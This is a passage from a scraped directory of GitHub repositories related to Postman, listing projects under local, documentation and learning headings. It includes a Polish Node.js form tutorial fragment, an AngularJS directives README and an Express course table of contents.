posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example

First Name:

Last Name:

Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią		 0 stars 0 watchers 0 forks
matt-ball/postman-read-file
data, file, level, local 		Read a local data file on a per request level. 0 stars 0 watchers 0 forks
OlgaDery/westjet_test
included, local, locally, service, test, tests 		Spring Boot micro service with 3 REST APIs. May be deployed locally or on AWS. Postman tests included. 0 stars 0 watchers 0 forks
prashant65018/redoc_pro
collection, docs, import, local, multiple, redoc, spec, swagger 		redoc your swagger docs with additional functioanlity of loading multiple API's with "try it feature" and directly import respective API collection in local postman app through "Run in Postman" option 0 stars 0 watchers 0 forks
RodrigoTopan/Treino-HapiJS
local 		Criação de API Restfull com HapiJS, JOI, Testes com Postman e armazenamento local em arquivo JSON 0 stars 0 watchers 0 forks
rohitchatla/swagger.io-openAPI
api blueprint, asyncapi, auth, bcrypt, book, chat, codes, data, express, following, form, github, google, hapi, hashi, http, https, json schema, list, local, mongo, mongoose, mysql, node, oauth, oauth2, openid, private, projects, rest, restapi, route, routes, sample, sql, swagger, validation 		For more Nodejs,JavaScript projects :: goto https://github.com/thunderssilver to see our team projects listed as following:: 1)stud_form with nodeJS,mysql 2)swagger.io/openAPI 3)socket1 4)restapiauth: (nodeJS,expressJS with routes,private routes,auth(JWT),validations([email protected]),password hashing with bcryptjs,data/codes hiding with dotenv lib,MongoDb(mongoose connect) as DB) 5)restapi: (MongoDb as DB) 6)sample_postman 7)oauth2.0 with google,facebook 8)oauth2.0 with local strategy 0 stars 0 watchers 0 forks
samuelgedaly/RESTfulAPI_Ruby
data, database, following, host, http, local, send 		Completed RESTful API using PostgreSQL database, you should be able to Create, Read, Uptade and Delete (CRUD) a Cause. I used Postman to send the different http requests with the following url: http://localhost:3000/api/v1/causes. 0 stars 0 watchers 0 forks
sandofsuro/react-web-dgt
host, http, local, react 		postman格式：http://localhost:9000/api/buildBundle?buildType=build&id=123 0 stars 0 watchers 0 forks
stanhordiyenko/go-localapi
golang, lang, learn, local, locally, service, tool 		This is a small golang API service that can be run locally to learn how to interact with it in Postman on the like tool. 0 stars 0 watchers 0 forks

documentation (48 listings) (Back to Top)

aubm/postmanerator
collection, collections, document, documentation, generator 		A HTTP API documentation generator that use Postman collections 448 stars 448 watchers 65 forks
JakeWorrell/docodile
collection, document, documentation 		Generate HTML API documentation from a Postman collection 51 stars 51 watchers 24 forks
davidevernizzi/docman
collection, collections, document, documentation, generate, postman collection, postman collections 		A simple page to generate documentation from postman collections 46 stars 46 watchers 18 forks
vmware/vsphere-automation-sdk-rest
automat, automation, document, documentation, reference, rest, sample, samples, vmware, vsphere 		REST (Postman and JavaScript) samples and API reference documentation for vSphere using the VMware REST API 0 stars 0 watchers 89 forks
thedevsaddam/docgen
collection, devs, document, documentation, form, postman collection 		Transform your postman collection to HTML/Markdown documentation 0 stars 0 watchers 42 forks
josephpconley/swagger2postman
collection, document, documentation, swagger, swagger2 		Create a Postman collection from live Swagger documentation 0 stars 0 watchers 14 forks
codeasashu/openman
convert, converte, converter, document, documentation, mock 		Postman to OpenAPI Spec converter with mocking and documentation 3 stars 3 watchers 1 forks
tangcent/easy-api
comments, document, documentation, elegant 		Elegant documentation comes from elegant code comments 0 stars 0 watchers 7 forks
leprechau/swag2pm
collection, collections, document, documentation, feeds 		PHP Script to create Postman collections from Swagger API documentation feeds 2 stars 2 watchers 1 forks
seswho/CyberArk_EPM_Postman_Collection
automat, automate, collection, console, customer, customers, document, documentation, enable, example, examples, form, task, tasks 		The CyberArk Endpoint Privilege Manager Web Services enable you to automate tasks that are usually performed manually in the EPM console. Available for both on-premise and SaaS customers. Postman collection has documentation and examples 2 stars 2 watchers 1 forks
Tiemma/isw-docs-demo
docs, document, documentation, generation 		Automated documentation generation using Slate and Postman Collections 0 stars 0 watchers 4 forks
thedevsaddam/docgen-bin
collection, devs, document, documentation, form, html, postman collection 		Transform your postman collection to html documentation 0 stars 0 watchers 3 forks
DoctorWhoFR/PostPy
document, documentation, export, form, markdown, python, tool, transform 		A python tool to transform postman documentation export into basic markdown for Github Wiki in exemple. 1 stars 1 watchers 0 forks
MadAppGang/postman-doc-generator
document, documentation, generator 		Postman documentation generator 1 stars 1 watchers 0 forks
mkesicki/api2word
document, documentation 		Export Postman documentation (via Postman API) to Word. 1 stars 1 watchers 0 forks
rcelsom/Boat-Tracker
cloud, data, datastore, document, documentation, environment, host, hosting, included, storage, store, test, test suite 		This is a REST API using Google cloud for hosting and Google datastore for storage. API documentation and Postman test suite and environment is included 1 stars 1 watchers 0 forks
shelleypham/GE-Current-Hackathon-API-Tutorial
access, details, document, documentation, environment, hackathon, resource, resources, retrieve, source, token, tokens 		This documentation provides more details on how to set up the hackathon environment on Postman, retrieve Intelligent Cities and Intelligent Enterprises access tokens, and how to use those access token to retrieve resources 1 stars 1 watchers 0 forks
openMF/mifos-io-configuration
config, configuration, document, documentation, environment, file, files, queries 		Config files, postman queries, documentation for Mifos.io lab environment 0 stars 0 watchers 2 forks
accubits/API-doc-auto-generator
collection, document, documentation, generate, generator 		Simple app to generate API documentation from Postman collection 0 stars 0 watchers 1 forks
ChuckMcAllister/CyberArk-EPM-REST-API-Postman-Collection
collection, customer, customers, data, document, documentation, example, examples, list, pull, version 		CyberArk Endpoint Privilege Manager has a REST API for pulling data starting with version 10.7. Available for both on-premise and SaaS customers. Postman collection has documentation and examples 0 stars 0 watchers 1 forks
PhillippOhlandt/pmtoapib
collection, convert, document, documentation, export, exports, print 		Tool to convert Postman collection exports to Api Blueprint documentation 0 stars 0 watchers 1 forks
abhishekalai/pmts
collection, collections, convert, document, documentation, postman collection, postman collections, slate, tool 		cli tool to convert postman collections to slate documentation page 0 stars 0 watchers 0 forks
grpaik92/postman_documentation
description, document, documentation, script 		No description available. 0 stars 0 watchers 0 forks
andregaldino/documentation-postman
document, documentation 		documentation-postman 0 stars 0 watchers 0 forks
BGLCorp/bgl-api-doc
document, documentation 		BGL360 API documentation for postman 0 stars 0 watchers 0 forks
brunopacheco1/learning-elasticsearch
document, documentation, elastic, elasticsearch, learn, learning, search 		Reading and Learning Elastic Search documentation and applying it on Java, Node.js and Postman. 0 stars 0 watchers 0 forks
ces-hackathon/API
document, documentation, hackathon, mock, script, scripts, server, test 		Postman API documentation for creating mock server API and postman test scripts 0 stars 0 watchers 0 forks
deepakpathania/postman-collection-examples
collection, document, documentation, example, examples, path 		Formatted examples of the postman-collection documentation as individual examples. 0 stars 0 watchers 0 forks
dipankar-js/Express-backend-API
auth, authentication, backend, document, documentation, role, site, token 		Backend API for a Bootcamp site with role based authentication using JWT token and developed using Express , MongoDB and Postman. A proper documentation of the API is available in the demo URL 0 stars 0 watchers 0 forks
Dmitiry1921/postman2apiary
blueprint, collection, document, documentation, print 		Parse Postman collection to blueprint documentation 0 stars 0 watchers 0 forks
EldinZenderink/PostmanToDoc
document, documentation, example, includes, list, print, simplistic 		Generates (very) simplistic documentation for postman that includes every example when being "printed" to pdf. 0 stars 0 watchers 0 forks
foobar1643/ApiDocumentor
collection, document, documentation, file, files, generate, tool 		A tool that allows you generate documentation to the API based on Postman collection files 0 stars 0 watchers 0 forks
Imburse-Payments/imburse-docs-api-postman
docs, document, documentation 		Postman API documentation 0 stars 0 watchers 0 forks
jason-fox/fox.jason.passthrough.postman
collection, document, documentation 		Generate DITA-based REST API documentation from a Postman collection added directly to a ditamap 0 stars 0 watchers 0 forks
Josh-Uvi/bootCamp-API
boot, document, documentation 		bootCamp API documentation built with Postman 0 stars 0 watchers 0 forks
jottenlips/VaporAuthTemplateRequestExamples
auth, authenticate, authenticated, document, documentation 		💧 Sample requests and documentation for creating your first authenticated Vapor API 💧 0 stars 0 watchers 0 forks
kgrech/postman2tex
collection, document, documentation, generate, latex, postman collection, tool 		The tool to generate latex documentation based on given postman collection 0 stars 0 watchers 0 forks
kyle-ssg/docman
collection, collections, document, documentation, postman collection, postman collections 		Turns your postman collections into API documentation 0 stars 0 watchers 0 forks
oleurud/postmanDocs
collection, document, documentation, postman collection 		Create the project documentation from a postman collection 0 stars 0 watchers 0 forks
potherca-abandoned/PostmanParser
document, documentation, generate, generated, longer, maintained, object, struct, structure 		⚠️ This project in no longer maintained. ⚠️ -- Parse POSTman Collection JSON into an object structure so documentation can be generated from it. 0 stars 0 watchers 0 forks
sandejones/wparkw
document, documentation, sample 		sample api documentation using postman 0 stars 0 watchers 0 forks
sbolingo/angular-postman-doc
angular, collection, document, documentation, form, format, html, module, render 		Angular module to handle a Postman collection and render html documentation. Only handles v1 collection format. 0 stars 0 watchers 0 forks
shahob/postdoc
convert, converte, converter, document, documentation 		From Postman to Markdown/HTML documentation converter 📖 0 stars 0 watchers 0 forks
srayner/api-doc
collection, document, documentation, postman collection 		Generate documentation from a postman collection. 0 stars 0 watchers 0 forks
Sridatta19/postman-docsite
collection, docs, document, documentation, generator, postman collection, site 		documentation site generator for postman collection 0 stars 0 watchers 0 forks
timjuravich/postman-docx
collection, collections, document, documentation, template, templated 		Create templated word doc documentation from Postman collections 0 stars 0 watchers 0 forks
trevligare/postman
document, documentation, living, rails 		Postman "living documentation" of the rails api 0 stars 0 watchers 0 forks
TuBanquero/utils
developer, developers, development, document, documentation, util, utils 		Utilities that can be used by other developers to improve development time (git, postman, documentation, etc) 0 stars 0 watchers 0 forks

learning (48 listings) (Back to Top)

TableauExamples/Tableau_Postman
collection, learn, learning, test, testing 		A Postman collection for testing and learning Tableau Server's REST API. 0 stars 0 watchers 29 forks
iyzico/iyzipay-postman
endpoint, endpoints, iyzipay, learn, learning 		Easiest way of learning the endpoints of iyzipay API 10 stars 10 watchers 8 forks
sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
Inn4ki/chatapp
admin, application, applications, auth, chat, completed, computer, course, debug, debugging, design, designed, engine, file, files, form, format, included, including, lang, language, learn, learned, learning, lesson, logging, middleware, parameter, passing, passport, program, programming, protecting, quality, query, rating, route, router, routes, sets, speed, sync, training, tutorial, user, users, validation, video, web app 		NODE.JS WEB APPS WITH EXPRESS by Wes Higbee In this Node.js Web Apps with Express training course, expert author Wes Higbee will teach you how to create web applications and APIs with Express. This course is designed for users that are already familiar with HTML, CSS, and JavaScript. You will start by learning how to set up a web app, then jump into learning about the Jade view engine. From there, Wes will teach you about CRUD, including how to add the chat room view, respond with JSON, and edit chat rooms. This video tutorial also covers routers, middleware, APIs, and logging and debugging. Finally, you will learn about auth with passport, including passport user validation, protecting admin routes, and query string parameters. Once you have completed this computer based training course, you will have learned how to create web applications and APIs with Express. Working files are included, allowing you to follow along with the author throughout the lessons. About the Publisher Presented in stunning HD quality, the Infinite Skills range of video based training provides a clear and concise way to learn computer applications and programming languages at your own speed. Delivered to your Desktop, iPad ... More about Infinite Skills Table of Contents Setting Up A Web App What You Will Learn 00:03:28 About The Author 00:01:23 Project Setup 00:02:14 Spinning Up Our Server From Scratch 00:05:11 Serving Index.HTML 00:04:32 Serving Bootstrap Assets 00:05:52 Styling Our Site 00:01:16 How To Access Your Working Files 00:01:15 The Jade View Engine Why View Engines? 00:02:10 The Jade View Engine 00:06:32 HTML Tags In Jade 00:02:16 Attributes Classes And Ids In Jade 00:02:06 Serving Up Jade Views 00:04:24 HTML Reuse In Jade 00:06:26 Code In Jade Views 00:02:37 Passing Data To View Rendering 00:02:01 Setting A Default View Engine 00:00:37 String Interpolation In Jade 00:02:30 Generating Tables In Jade 00:03:50 Tabs And Spaces Oh My 00:01:21 Demystifying Jade 00:02:21 Crud Setting The Stage 00:01:01 Add Chat Room View 00:04:21 Post Chat Room Form 00:06:56 Parsing Form Data From The Request Body 00:04:22 Responding With JSON 00:03:20 Admin Chat Rooms Workflow 00:02:21 Named Route Parameters To Delete Rooms 00:05:59 Edit Chat Rooms 00:06:01 Edit Chat Rooms Part - 2 00:02:00 Responding With 404 Not Found 00:01:39 Wrap Up 00:01:23 Routers Extracting An Admin Module 00:04:47 Modular Admin Router 00:04:00 Pluggable Admin Mount Path 00:03:15 Stumbling Block - Relative Redirects 00:02:49 Chaining Routes 00:01:57 Middleware Understanding Routing And Middleware 00:05:45 Adding Custom Logging Middleware 00:02:15 Understanding Next() 00:01:31 Middleware To Fetch Data 00:07:24 Order Matters.Av 00:01:09 Scoping Middleware 00:03:53 What To Do With Errors 00:03:01 Last Thoughts 00:03:19 APIs A Client Side Chat App 00:01:55 Setup The Client Side Chat App 00:03:01 Creating An API 00:05:42 Modules Are Singletons 00:01:50 Postman To Test API 00:01:24 API Get Room Messages 00:05:49 Posting To An API 00:03:37 API To Delete Messages 00:03:15 Parsing JSON In The Request Body 00:03:25 Logging And Debugging Express-Debug 00:03:03 Logging With Morgan 00:01:45 File Access Log With Morgan 00:01:28 Built-In Express Debugging 00:01:57 When Things Go Wrong Throwing An Error In A Route Handler 00:01:39 Errors In Production 00:01:53 Custom Error Handlers 00:02:40 Browser Hangs 00:00:58 Hanging Async Request Handlers 00:01:17 Errors In Callbacks 00:03:32 Don't Swallow Callback Errors 00:02:46 Auth With Passport Auth With Passport 00:01:49 Login Form 00:06:31 Passport User Validation 00:05:20 Passport Session Serialization 00:01:49 Logging In 00:06:23 Logout 00:03:52 Authorizing Access To Block Anonymous Users 00:03:40 Protecting Admin Routes 00:02:04 Using User Information 00:02:48 Bypassing Login In Development 00:03:11 Query String Parameters 00:02:34 Auth Cookies 00:02:17 Last Thoughts 00:05:45 Publisher: Infinite Skills Release Date: March 2016 ISBN: 9781491958933 Running time: 4:09:49 Topic: Node.js 4 stars 4 watchers 5 forks
SAP-samples/data-attribute-recommendation-postman-tutorial-sample
client, data, dataset, example, learn, learning, machine, sample, samples, service, tutorial 		Sample code and dataset example for anyone who wants to try out the data attribute recommendation machine learning service using a REST client. 1 stars 1 watchers 1 forks
knaxus/the-deeplearning-bot
action, endpoint, endpoints, intelligent, learn, learning 		A intelligent bot made using NLP and Deep Learning with API endpoints for interaction. 0 stars 0 watchers 3 forks
SAP-samples/service-ticket-intelligence-postman-collection-sample
collection, consume, enable, enables, environment, learn, learning, machine, sample, samples, service, template, ticket, user, users 		A Postman collection and environment template that enables users to consume the Service Ticket Intelligence machine learning service. 0 stars 0 watchers 3 forks
JohnArg/MongoDBTutorial
assert, assertion, course, creation, learn, learning, result, test, testing 		(Learning Project) The code from a course while learning MongoDB with Node/Express. The result is the creation of a simple REST API using Mongoose and Postman for testing. Mocha, Expect and Supertest were also used for assertions. 0 stars 0 watchers 0 forks
fastneasylearning/postman
description, learn, learning, script 		No description available. 0 stars 0 watchers 0 forks
SatishRVenkat/learning_usage_of_postman
description, learn, learning, script 		No description available. 0 stars 0 watchers 0 forks
smukkiri/Postman-learnings
description, learn, learning, script 		No description available. 0 stars 0 watchers 0 forks
tarunarora1667/learning_postman
description, learn, learning, script 		No description available. 0 stars 0 watchers 0 forks
andersonBrunu/Aprendendo-o-Basico-do-SpringBoot
banco, data, database, eclipse, learn, learning, to do, understanding 		Pequeno Projeto com SpringBoot com Jave usando a IDE eclipse. não contem front-end é apenas para o entendimento e começo de aprendizagem. usei o postman para fazer as requisições. possui integração com banco de dados MYSQL.. . . . . . . . . . .Small Project with SpringBoot with Jave using an eclipse IDE. does not contain front-end is only for the understanding and beginning of learning. use the postman to do as requisitions. Integration with MYSQL database. 0 stars 0 watchers 0 forks
ankit0305/Postman-Scripts
learn, learning, script, scripts, tool 		These are the scripts I have made while learning Postman tool. 0 stars 0 watchers 0 forks
ashwinies/learning-program
boot, learn, learning, program, reference, rest, rest service, sample, service, services, spring, spring boot 		sample project on spring boot, rest services using postman on reference Genomes 0 stars 0 watchers 0 forks
benweese/Postman
learn, learning, practicing, teaching 		This is for API Testing practicing, learning, and teaching. 0 stars 0 watchers 0 forks
brunopacheco1/learning-elasticsearch
document, documentation, elastic, elasticsearch, learn, learning, search 		Reading and Learning Elastic Search documentation and applying it on Java, Node.js and Postman. 0 stars 0 watchers 0 forks
Collins-Kareri/postman
backend, learn, learning 		learning the backend 0 stars 0 watchers 0 forks
Cuthbert20/learning-node-day-2
learn, learning, node 		Going over get, put, delete. Using Postman 0 stars 0 watchers 0 forks
darhyur/U4diesel
learn, learning 		learning postman 0 stars 0 watchers 0 forks
DiaconuDan/Cars
boot, learn, learning 		Kata Springboot. Patterns: Repository, Service, API Design. DI/IoC: Hibernate. Testing an API with Postman. Use: learning purposes. 0 stars 0 watchers 0 forks
dster05/Postman-weather
learn, learning, site, weather, website 		learning to apis for a website project 0 stars 0 watchers 0 forks
e-cro/RestaurantRater2
learn, learning, test 		A practice API for learning how to build API and test with Postman 0 stars 0 watchers 0 forks
ericksondevs/XamarinLandsProject
